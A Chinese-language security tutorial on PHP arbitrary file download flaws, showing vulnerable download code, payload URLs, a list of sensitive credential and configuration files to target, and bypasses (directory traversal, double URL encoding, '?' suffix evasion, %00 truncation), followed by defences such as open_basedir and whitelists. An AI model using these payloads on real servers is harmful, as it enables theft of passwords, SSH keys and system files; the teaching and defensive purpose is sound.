本文最后更新于 2024-07-26,文章内容可能已经过时。

文件下载漏洞

免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

一、概念

在php中,由于对用户输入没有校验,可以通过文件下载访问任意文件。

$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents($file);

payload:

linux:

xx.php?file=/etc/passwd

xxx.php?file=db.php

windows:

xxx.php?file=C:\boot.ini

敏感文件:

windows:

C:\boot.ini//查看系统版本
C:\Windows\win.ini//基本系统配置文件
C:\Windows\System32\inetsrv\MetaBase.xml//IIS配置文件
C:\Windows\repair\sam//存储系统初次安装的密码
C:\ProgramFiles\mysql\my.ini//Mysql配置
C:\ProgramData\MySQL\mysqlxxx\my.ini
C:\ProgramFiles\mysql\data\mysql\user.MYD//Mysqlroot
C:\Windows\php.ini//php配置信息
C:\Windows\my.ini//Mysql配置信息

linux:

/root/.ssh/authorized_keys//ssh登录认证文件
/root/.ssh/id_rsa//公钥文件
/root/.ssh/id_rsa.keystore//密钥存放文件
/root/.ssh/known_hosts//已访问过的主机公钥记录文件
/etc/passwd//用户信息
/etc/shadow//密码存放文件
/etc/my.cnf//mysql配置文件
/etc/httpd/conf/httpd.conf//apache配置文件
/root/.bash_history//记录系统历史命令文件
/root/.mysql_history//记录数据库历史命令文件
/proc/self/fd/fd[0-9]*(文件标识符)//连接当前正运行的进程
/proc/mounts//已挂载的文件系统信息
/porc/config.gz//内核配置文件

二、危害

获取服务器上的文件和资料。

三、防御和绕过

  • 加前缀:
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.$file);//把下载的文件增加绝对路径限制

此时如果想下载/etc/passwd,是无法下载到正确文件的。

http://192.168.128.128/hz02/posts/download.php?file=/etc/passwd

绕过方式: 目录穿越(../../../../../etc/passwd)

http://192.168.128.128/hz02/posts/download.php?file=../../../../../../../../../../../etc/passwd

防御目录穿越:去掉../

$file = str_replace("../","",$file);

如果php代码中,手工使用urldecode来解码$file变量,那么可以采用下面的两次url编码绕过

echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.urldecode($file);//手工使用urldecode解码文件名称

此时,我们在请求的时候,可以使用两次url编码来做目录穿越,如下:

第一次url编码:把../编码为%2e%2e%2f
http://192.168.128.128/hz02/posts/download.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
第二次url编码:把上面的%2e%2e%2f再一次进行url编码
http://192.168.128.128/hz02/posts/download.php?file=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc/passwd
  • 前缀加后缀
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.$file.'.jpg');//加了前缀路径,还增加了后缀扩展名

前缀加后缀的就很难绕过了

  • 文件名保存在数据库

    url中传id,具体文件名在数据库中,或在配置文件中取出,这种就没什么办法绕过了。因为用户的输入不能决定下载哪个文件。

远程文件包含的绕过:

如果没有加前缀,只加了后缀,那么远程文件包含可以通过?来绕过

例如:这段下载的代码

<?php 
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));

echo file_get_contents($file.".jpg");

?>

请求下载远程的文件,这里的远程文件地址后面跟着?a=b,再拼接上php中的.jpg就变成了a=b.jpg这个参数是传给cspreport.txt的,这样就绕过了后缀,直接下载的是cspreport.txt

http://localhost/hz02/posts/download.php?file=http://192.168.161.128/jsonp/cspreport.txt?a=b

%00截断字符绕过后缀,只使用与PHP5.3以及更低版本,并且magic_quotes_gpc = Off才可以。

%00是\0的url编码,在c语言中代表字符串的结束。
magic_quotes_gpc = On会自动开始特殊字符的转码,单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线;这个选项在PHP5.4中就已经开始废弃了

配置在php.ini中open_basedir,防御

指定路径,只能访问某个指定目录或子目录中的内容,包括php文件,其他目录都不可以访问

open_basedir = D:\xampp8\htdocs\hz02\posts\

当我们尝试下载文件的时候,

http://localhost/hz02/posts/download.php?file=C:\Users\Administrator\Desktop\tmp\paswd

会报错:

Warning: file_get_contents(): open_basedir restriction in effect. File(C:\Users\Administrator\Desktop\tmp\paswd) is not within the allowed path(s): 

四、小总结

绕过:

1、目录穿越: ../../../,绕过前缀目录

2、二次编码绕过: 把../经过两次编码

3、远程文件包含使用?绕过后缀

4、%00截断字符绕过后缀,只使用与PHP5.3以及更低版本,并且magic_quotes_gpc = Off才可以。

防御:

1、配置open_basedir

2、包含或下载的文件名称不允许用户输入,直接写死在代码中

3、检查用户输入的参数,过滤../../../ 或经过编码的%2e%2e%2f

4、禁止使用远程包含,关闭allow_url_include 参数

5、添加白名单,不在白名单中的禁止使用